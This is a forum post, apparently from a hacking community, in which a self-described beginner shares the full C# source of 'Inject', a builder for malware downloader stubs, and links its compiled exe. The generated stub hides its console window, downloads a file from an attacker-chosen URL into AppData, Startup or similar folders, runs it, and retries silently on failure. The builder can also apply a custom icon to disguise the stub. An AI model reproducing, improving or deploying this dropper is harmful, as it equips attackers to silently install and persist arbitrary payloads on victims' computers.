Feb 16, 2015 08:43 AM
(This post was last modified: Feb 16, 2015 09:05 AM by CrypticX.)
Hi there
I've coded a downloader in C# .NET Framework 2.0. And I thought I'm going to make it open source.
Here's the code:
here's the download link for the exe:
http://www.filedropper.com/inject
Please give some feedback, and tell me what you would have done to make it better.
I'm still a beginner, so please take it easy.
EDIT: Could you rate my code out of /10.
Thanks in advance 🤝
I've coded a downloader in C# .NET Framework 2.0. And I thought I'm going to make it open source.
Here's the code:
PHP Code
<?php
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.CodeDom;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Runtime.InteropServices;
namespace Inject
{
public partial class Form1 : Form
{
RichTextBox rtb1 = new RichTextBox();
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
comboBox1.SelectedIndex = 0;
}
private void button1_Click(object sender, EventArgs e)
{
StreamWriter sw = new StreamWriter(Application.StartupPath.ToString() + "\\compile.txt", false);
sw.WriteLine("using System;");
sw.WriteLine("using System.Collections.Generic;");
sw.WriteLine("using System.Text;");
sw.WriteLine("using System.Diagnostics;");
sw.WriteLine("using System.Net;");
sw.WriteLine("using System.Runtime.InteropServices;");
sw.WriteLine("using System.IO;");
sw.WriteLine("");
sw.WriteLine("");
sw.WriteLine("namespace temp");
sw.WriteLine("{");
sw.WriteLine(" class Program");
sw.WriteLine(" {");
sw.WriteLine(" [DllImport(" + "\"" + "kernel32.dll" + "\"" + ")]");
sw.WriteLine(" static extern IntPtr GetConsoleWindow();");
sw.WriteLine(" [DllImport(" + "\"" + "user32.dll" + "\"" + ")]");
sw.WriteLine(" static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);");
sw.WriteLine(" const int SW_HIDE = 0;");
sw.WriteLine(" const int SW_SHOW = 5;");
sw.WriteLine(" static void Main(string[] args)");
sw.WriteLine(" {");
sw.WriteLine(" ShowWindow(GetConsoleWindow(), SW_HIDE);");
sw.WriteLine(" try");
sw.WriteLine(" {");
if (comboBox1.SelectedIndex == 0)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" + "+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 1)
{
sw.WriteLine(" if (!File.Exists(" +"Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 2)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +"Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 3)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +"Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 4)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 5)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
if (comboBox1.SelectedIndex == 6)
{
sw.WriteLine(" if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
sw.WriteLine(" {");
sw.WriteLine(" WebClient wb = new WebClient();");
sw.WriteLine(" wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "@\"" +"\\" + textBox2.Text + "\"" + ");");
sw.WriteLine(" Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
}
sw.WriteLine(" Environment.Exit(0);");
sw.WriteLine(" }");
sw.WriteLine(" else");
sw.WriteLine(" {");
sw.WriteLine(" Environment.Exit(0);");
sw.WriteLine(" }");
sw.WriteLine(" }");
sw.WriteLine(" catch (Exception)");
sw.WriteLine(" {");
sw.WriteLine(" Main(args);");
sw.WriteLine(" }");
sw.WriteLine(" }");
sw.WriteLine(" }");
sw.WriteLine("}");
sw.Close();
SaveFileDialog sfd = new SaveFileDialog();
sfd.Filter = "App |*.exe";
if (sfd.ShowDialog() == DialogResult.OK)
{
Compile(Application.StartupPath.ToString() + "\\compile.txt", Path.GetDirectoryName(sfd.FileName) + "\\" + Path.GetFileName(sfd.FileName));
MessageBox.Show("Succeed!", "Done", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
File.Delete(Application.StartupPath.ToString() + "\\compile.txt");
}
public bool Compile(string sourcefile, string exefile)
{
CSharpCodeProvider ccp = new CSharpCodeProvider();
CompilerParameters cp = new CompilerParameters();
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Data.dll");
cp.ReferencedAssemblies.Add("System.Xml.dll");
if (textBox3.Text != "")
{
cp.CompilerOptions = @"/win32icon:" + textBox3.Text;
}
else
{
}
cp.GenerateExecutable = true;
cp.OutputAssembly = exefile;
cp.GenerateInMemory = false;
CompilerResults cr = ccp.CompileAssemblyFromFile(cp, sourcefile);
if (cr.Errors.Count > 0)
{
foreach (CompilerError ce in cr.Errors)
{
MessageBox.Show(ce.ToString());
}
return false;
}
else
{
return true;
}
}
private void button3_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "Icon |*.ico";
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
textBox3.Text = ofd.FileName;
}
}
}
}
here's the download link for the exe:
http://www.filedropper.com/inject
Please give some feedback, and tell me what you would have done to make it better.
I'm still a beginner, so please take it easy.
EDIT: Could you rate my code out of /10.
Thanks in advance 🤝



